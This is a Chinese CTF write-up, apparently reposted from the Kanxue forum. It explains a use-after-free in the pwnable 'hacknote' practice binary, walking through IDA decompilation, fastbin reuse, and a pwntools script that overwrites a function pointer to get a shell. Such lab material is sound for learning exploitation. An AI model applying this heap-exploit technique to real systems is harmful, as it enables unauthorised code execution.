Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

  • A+
所属分类:逆向工程
Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

本文为看雪论优秀文章

看雪论坛作者ID:直木



步骤一:运行查看


Pwn堆利用学习—— Use-After-Free——pwnable_hacknote


步骤二:查看文件类型和保护机制


32位程序


Pwn堆利用学习—— Use-After-Free——pwnable_hacknote


步骤三:IDA反编译分析


main函数:


Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

add_note函数:


Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

print_note_content函数:


Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

del_note函数:free之后没有置为NULL,存在UAF漏洞。
Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

print_note函数:
Pwn堆利用学习—— Use-After-Free——pwnable_hacknote 
gdb确认(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])是哪个函数的方法:
  1. 选中第一个notelist[2],按tab键,切换到汇编代码,分析得知对应调用函数的指令是call eax,拷贝地址;

  2. 然后在gdb中下断点,先r运行,输入1创建一个note;

  3. 然后输入3,进行打印,运行到断点处,si单步调试,进入函数,看到这个调用的函数就是print_note_content函数。

Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

这题没有明显看到函数中有shell函数,那么我们就在IDA中搜索一下,Shift+F12,看到/bin/sh字符串,双击进去,然后交叉引用,看到magic函数。

Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

步骤四:调试和思路


Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

0x80485fb 在IDA中查看,是print_note_content函数。

0x8a71018 就在下面,是输入到堆里的“aaaa”。

所以,可以确定note结构体为:

struct note{ void* ptr = print_note_content; char* content;}

当然note-content chunk大小是0x18,还有8个字节我在图中没有打印出来。
 
思路:
 
还记得print_note函数里的(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2]),现在就可以理解了:(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])就是note结构体中的第一个条目,即print_note_content函数。
 
那么由于有UAF漏洞,我们就要想办法去把堆中这个函数的地址0x80485fb给改掉,改成magic函数的地址,然后再去调用print_note函数,那么就会调用结构体里的print_note_content函数,当然现在变成了magic函数,就能getshell了!
 
怎么去改呢?
 
想想我们的输入,能输入content,也就是说我们能直接控制输入的note-content chunk的内容,不能直接控制note chunk的内容。
 
还有一点,这个大小的chunk free之后是放入fastbin中,先进先出。
 
所以,我们可以想办法先malloc出两个note chunk,然后再依次free,接着再调用add_note()函数的话,先free的这个 note chunk(即第一个note chunk)就会变成 note-content chunk 了,我们能控制最后一次malloc的note-content chunk,让输入的content为magic函数的地址,那么就让第一个note chunk中print_note_content的地址变为了magic的地址!
 
最后调用print_note,输入index为0,那么就getshell了!
 
调试:
 
Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

步骤五:Exploit


from pwn import * context.log_level = 'debug'p = process('./hacknote')elf = ELF('./hacknote') def add(size,content='aaaa'):    p.sendlineafter(':','1')    p.sendlineafter(':',str(size))    p.sendlineafter(':',content) def delete(index):    p.sendlineafter(':','2')    p.sendlineafter(':',str(index)) def show(index):    p.sendlineafter(':','3')    p.sendlineafter(':',str(index)) sh = p32(elf.sym['magic'])add(0x10)add(0x10)delete(0)delete(1)add(0x8,sh)show(0) def dbg():    gdb.attach(p)    pause()#dbg()p.interactive()


参考文献

  • ctf-wiki

  • https://www.bilibili.com/video/BV1iE411H7cZ




Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

- End -


Pwn堆利用学习—— Use-After-Free——pwnable_hacknote


看雪ID:直木

https://bbs.pediy.com/user-home-830671.htm

  *本文由看雪论坛 直木 原创,转载请注明来自看雪社区。




# 往期推荐





Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

球分享

Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

球点赞

Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

球在看



Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: